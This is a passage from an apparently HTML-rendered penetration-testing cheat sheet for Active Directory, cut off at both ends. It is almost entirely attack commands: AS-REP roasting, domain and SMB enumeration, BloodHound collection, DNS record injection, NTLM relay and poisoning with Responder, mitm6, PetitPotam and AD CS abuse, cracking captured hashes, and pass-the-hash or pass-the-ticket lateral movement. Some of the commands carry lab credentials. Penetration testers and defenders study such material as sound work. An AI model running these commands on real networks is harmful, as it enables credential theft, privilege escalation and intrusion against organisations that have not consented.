&amp;lt;usernames.txt&amp;gt; -format hashcat -outputfile &amp;lt;hashes.domain.txt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus asreproast /format:hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Find ASREP-Roastable accounts&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -PreauthNotRequired -Properties SamAccountName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]-&amp;gt;(c)) RETURN p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="once-you-have-the-credentials-for-any-domain-user"&gt;&lt;a href="#once-you-have-the-credentials-for-any-domain-user" class="header-anchor"&gt;&lt;/a&gt;Once You Have the Credentials for Any Domain User&#10;&lt;/h4&gt;&lt;p&gt;Retrieve passwords for other accounts&lt;/p&gt;&#10;&lt;h5 id="1-get-all-account-names-in-the-domain"&gt;&lt;a href="#1-get-all-account-names-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;1. Get All Account Names in the Domain&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetADUsers.py -all -dc-ip &amp;lt;dc_ip&amp;gt; &amp;lt;domain&amp;gt;/&amp;lt;username&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-enumerate-smb-shares"&gt;&lt;a href="#2-enumerate-smb-shares" class="header-anchor"&gt;&lt;/a&gt;2. Enumerate SMB Shares&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; --shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="3-bloodhound"&gt;&lt;a href="#3-bloodhound" class="header-anchor"&gt;&lt;/a&gt;3. BloodHound&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/BloodHound.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/BloodHound.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d &amp;lt;domain&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; -gc &amp;lt;dc&amp;gt; -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="4-enumerate-dns-servers"&gt;&lt;a href="#4-enumerate-dns-servers" class="header-anchor"&gt;&lt;/a&gt;4. Enumerate DNS Servers&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnstool.py -u &amp;#39;DOMAIN\user&amp;#39; -p &amp;#39;password&amp;#39; --record &amp;#39;*&amp;#39; --action query &amp;lt;dc_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="relaypoisoning-attacks"&gt;&lt;a href="#relaypoisoning-attacks" class="header-anchor"&gt;&lt;/a&gt;Relay/Poisoning Attacks&#10;&lt;/h2&gt;&lt;p&gt;Scan for machines without SMB signing enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use exploit/windows/smb/smb_relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb $hosts --gen-relay-list relay.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PetitPotam&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PetitPotam.py -d &amp;lt;domain&amp;gt; &amp;lt;listener_ip&amp;gt; &amp;lt;target_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can follow this up with an AD CS attack.&lt;/p&gt;&#10;&lt;p&gt;Start listening&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -i eth0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mitm6 -d &amp;lt;domain&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="no-smb-signing--ipv6-enabled--adcs"&gt;&lt;a href="#no-smb-signing--ipv6-enabled--adcs" class="header-anchor"&gt;&lt;/a&gt;No SMB Signing || IPv6 Enabled || ADCS&#10;&lt;/h5&gt;&lt;ol&gt;&#10;&lt;li&gt;MS08-068&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use exploit/windows/smb/smb_relay &#9;# Commonly used for Windows 2003 / Windows Server 2008&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I eth0 # Remember to disable the local SMB and HTTP services first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -tf targets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;mitm6 -i eth0 -d&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -6 -wh &amp;lt;attacker_ip&amp;gt; -l /tmp -socks -debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -6 -wh &amp;lt;attacker_ip&amp;gt; -t smb://&amp;lt;target&amp;gt; -l /tmp -socks -debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldaps://&amp;lt;dc_ip&amp;gt; -wh &amp;lt;attacker_ip&amp;gt; --delegate-access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -spn cifs/&amp;lt;target&amp;gt; &amp;lt;domain&amp;gt;/&amp;lt;netbios_name&amp;gt;\$ -impersonate &amp;lt;user&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;adcs&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t http://&amp;lt;dc_ip&amp;gt;/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe asktgt /user:&amp;lt;user&amp;gt; /certificate:&amp;lt;base64-certificate&amp;gt; /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="crack-the-captured-hash"&gt;&lt;a href="#crack-the-captured-hash" class="header-anchor"&gt;&lt;/a&gt;Crack the Captured hash&#10;&lt;/h5&gt;&lt;ol&gt;&#10;&lt;li&gt;LM&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=lm hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 3000 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;NTLM&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=nt hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;NTLMv1&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlm hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5500 -a 3 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="4"&gt;&#10;&lt;li&gt;NTLMv2&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john --format=netntlmv2 hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5600 -a 0 hash.txt rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="5"&gt;&#10;&lt;li&gt;Kerberos 5 TGS&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john spn.txt --format=krb5tgs --wordlist=rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 -a 0 spn.txt rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="6"&gt;&#10;&lt;li&gt;Kerberos ASREP&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="lateral-movement"&gt;&lt;a href="#lateral-movement" class="header-anchor"&gt;&lt;/a&gt;Lateral Movement&#10;&lt;/h2&gt;&lt;ol&gt;&#10;&lt;li&gt;PTH&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmiexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atexec.py -hashes &amp;#34;:&amp;lt;hash&amp;gt;&amp;#34; &amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt; &amp;#34;command&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i &amp;lt;ip&amp;gt;/&amp;lt;domain&amp;gt; -u &amp;lt;user&amp;gt; -H &amp;lt;hash&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:&amp;lt;user&amp;gt; /d:&amp;lt;domain&amp;gt; /pth:&amp;lt;hash&amp;gt; /v:&amp;lt;ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;PTK&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getTGT.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt; -hashes :&amp;lt;hashes&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python psexec.py &amp;lt;domain&amp;gt;/&amp;lt;user&amp;gt;@&amp;lt;ip&amp;gt; -k 